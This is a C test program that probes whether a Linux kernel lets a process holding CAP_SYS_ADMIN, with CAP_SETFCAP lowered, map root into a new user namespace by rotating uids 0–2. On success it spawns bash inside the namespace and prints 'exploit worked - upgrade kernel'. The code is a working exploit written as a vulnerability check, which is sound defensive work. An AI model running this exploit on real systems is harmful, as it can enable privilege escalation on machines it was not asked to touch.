1 /*
2 * Try unsharing where we remap the root user by rotating uids (0,1,2)
3 * and the corresponding gids too.
4 */
5
6 #define _GNU_SOURCE
7
8 #include <errno.h>
9 #include <sched.h>
10 #include <stdio.h>
11 #include <stdlib.h>
12 #include <string.h>
13 #include <sys/capability.h>
14 #include <sys/mman.h>
15 #include <sys/prctl.h>
16 #include <sys/wait.h>
17 #include <unistd.h>
18
19 #define STACK_RESERVED 10*1024
20
21 struct my_pipe {
22 int to[2];
23 int from[2];
24 };
25
child(void * data)26 static int child(void *data) {
27 struct my_pipe *fdsp = data;
28 static const char * const args[] = {"bash", NULL};
29
30 close(fdsp->to[1]);
31 close(fdsp->from[0]);
32 if (write(fdsp->from[1], "1", 1) != 1) {
33 fprintf(stderr, "failed to confirm setuid(1)\n");
34 exit(1);
35 }
36 close(fdsp->from[1]);
37
38 char datum[1];
39 if (read(fdsp->to[0], datum, 1) != 1) {
40 fprintf(stderr, "failed to wait for parent\n");
41 exit(1);
42 }
43 close(fdsp->to[0]);
44 if (datum[0] == '!') {
45 /* parent failed */
46 exit(0);
47 }
48
49 setsid();
50
51 execv("/bin/bash", (const void *) args);
52 perror("execv failed");
53 exit(1);
54 }
55
main(int argc,char ** argv)56 int main(int argc, char **argv)
57 {
58 static const char *file_formats[] = {
59 "/proc/%d/uid_map",
60 "/proc/%d/gid_map"
61 };
62 static const char id_map[] = "0 1 1\n1 2 1\n2 0 1\n3 3 49999997\n";
63 cap_value_t fscap = CAP_SETFCAP;
64 cap_t orig = cap_get_proc();
65 cap_flag_value_t present;
66
67 if (cap_get_flag(orig, CAP_SYS_ADMIN, CAP_EFFECTIVE, &present) != 0) {
68 perror("failed to read a capability flag");
69 exit(1);
70 }
71 if (present != CAP_SET) {
72 fprintf(stderr,
73 "environment missing cap_sys_admin - exploit not testable\n");
74 exit(0);
75 }
76
77 /* Run with this one lowered */
78 cap_set_flag(orig, CAP_EFFECTIVE, 1, &fscap, CAP_CLEAR);
79
80 struct my_pipe fds;
81 if (pipe(&fds.from[0]) || pipe(&fds.to[0])) {
82 perror("no pipes");
83 exit(1);
84 }
85
86 char *stack = mmap(NULL, STACK_RESERVED, PROT_READ|PROT_WRITE,
87 MAP_ANONYMOUS|MAP_PRIVATE|MAP_STACK, -1, 0);
88 if (stack == MAP_FAILED) {
89 perror("no map for stack");
90 exit(1);
91 }
92
93 if (cap_setuid(1)) {
94 perror("failed to cap_setuid(1)");
95 exit(1);
96 }
97
98 if (cap_set_proc(orig)) {
99 perror("failed to raise caps again");
100 exit(1);
101 }
102
103 pid_t pid = clone(&child, stack+STACK_RESERVED, CLONE_NEWUSER|SIGCHLD, &fds);
104 if (pid == -1) {
105 perror("clone failed");
106 exit(1);
107 }
108
109 close(fds.from[1]);
110 close(fds.to[0]);
111
112 if (cap_setuid(0)) {
113 perror("failed to cap_setuid(0)");
114 exit(1);
115 }
116
117 if (cap_set_proc(orig)) {
118 perror("failed to raise caps again");
119 exit(1);
120 }
121
122 char datum[1];
123 if (read(fds.from[0], datum, 1) != 1 || datum[0] != '1') {
124 fprintf(stderr, "failed to read child status\n");
125 exit(1);
126 }
127 close(fds.from[0]);
128
129 int i;
130 for (i=0; i<2; i++) {
131 char *map_file;
132 if (asprintf(&map_file, file_formats[i], pid) < 0) {
133 perror("allocate string");
134 exit(1);
135 }
136
137 FILE *f = fopen(map_file, "w");
138 free(map_file);
139 if (f == NULL) {
140 perror("fopen failed");
141 exit(1);
142 }
143 int len = fwrite(id_map, 1, strlen(id_map), f);
144 if (len != strlen(id_map)) {
145 goto bailok;
146 }
147 if (fclose(f)) {
148 goto bailok;
149 }
150 }
151
152 if (write(fds.to[1], ".", 1) != 1) {
153 perror("failed to write '.'");
154 exit(1);
155 }
156 close(fds.to[1]);
157
158 fprintf(stderr, "user namespace launched exploit worked - upgrade kernel\n");
159 if (wait(NULL) == pid) {
160 exit(1);
161 }
162 perror("launch failed");
163 exit(1);
164
165 bailok:
166 fprintf(stderr, "exploit attempt failed\n");
167 if (write(fds.to[1], "!", 1) != 1) {
168 perror("failed to inform child [ignored]");
169 }
170 exit(0);
171 }
172